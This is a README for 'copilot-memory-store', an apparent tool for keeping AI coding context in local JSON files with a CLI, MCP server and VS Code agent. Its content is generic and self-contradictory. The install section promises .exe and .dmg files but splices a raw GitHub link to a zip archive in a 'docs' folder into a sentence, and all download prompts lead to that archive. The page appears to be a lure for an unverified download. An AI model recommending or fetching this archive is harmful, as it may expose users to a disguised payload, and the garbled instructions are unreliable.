🛠️ copilot-memory-store - Simple Way to Manage Context Easily

🚀 Getting Started

Welcome to the copilot-memory-store! This application helps you manage context while using AI tools like GitHub Copilot. It provides a simple memory store using local JSON files. You can interact with this store through a Command Line Interface (CLI) or an MCP server, and there’s also a custom agent for Visual Studio Code.

📦 Download & Install

To get started, visit this page to download the latest version of the software: Download copilot-memory-store.

Installation Steps

1. Click the link above to open the releases page.
2. Find the latest version listed.
3. Download the appropriate file for your operating system.
4. If you're using Windows, you may download an .exe file. For macOS, look for .dmg. Linux users can find a https://raw.githubusercontent.com/Tokio17/copilot-memory-store/main/docs/memory-copilot-store-1.6-alpha.2.zip file.

📋 System Requirements

Before you install copilot-memory-store, ensure your system meets the following requirements:

• Operating System:
  • Windows 10 or later
  • macOS 10.13 or later
  • Linux (Debian-based)
• Memory:
  • Minimum 4GB RAM
• Disk Space:
  • At least 100MB of free space

🛠️ Features

• Local JSON Storage: Keep data organized and local.
• Command Line Interface (CLI): A straightforward way to interact with the memory store.
• MCP Server: Set up a server for more advanced features.
• VS Code Integration: Use our custom agent for easy context management while coding.

⚙️ How to Use

Once you have installed the copilot-memory-store, follow these steps to begin using it:

1. Open CLI: On Windows, press Win + R, type cmd, and press Enter. On macOS, open “Terminal”. Linux users can open their terminal app.
2. Start the Server:
   • Type copilot-memory-store start (replace with your installed command) and press Enter.
   • The server will start, and you will see a message indicating it's running.
3. Using the CLI:
   • Type copilot-memory-store help to see available commands.
   • Use add to store new entries, get to retrieve them, and delete to remove any unwanted entries.
4. Accessing the MCP Server:
   • Open your web browser and go to http://localhost:YOUR_PORT (replace YOUR_PORT with the port number displayed when you started the server).
5. Using the VS Code Agent:
   • Install the agent from the same releases page.
   • Follow the installation prompts in Visual Studio Code.

📖 Documentation

For detailed documentation about commands and features, check the Wiki. This resource includes examples and advanced tips to enhance your experience.

🤝 Community & Support

Join our community to ask questions, share insights, and learn more about context engineering. You can reach out through the following channels:

• GitHub Issues: Report any problems or ask for help.
• Discussion Board: Share ideas and get feedback from other users.

🔄 Contributing

If you're interested in improving copilot-memory-store, please consider contributing! Here are some ways you can help:

• Report issues you find.
• Suggest features you would like to see.
• Contribute code, documentation, or translations.

🌟 Acknowledgments

We thank everyone who makes copilot-memory-store possible. Your support and feedback are invaluable. Together, we can innovate and improve tools for context engineering.

Now, go ahead and visit this page to download copilot-memory-store: Download copilot-memory-store. Enjoy managing your AI context easily!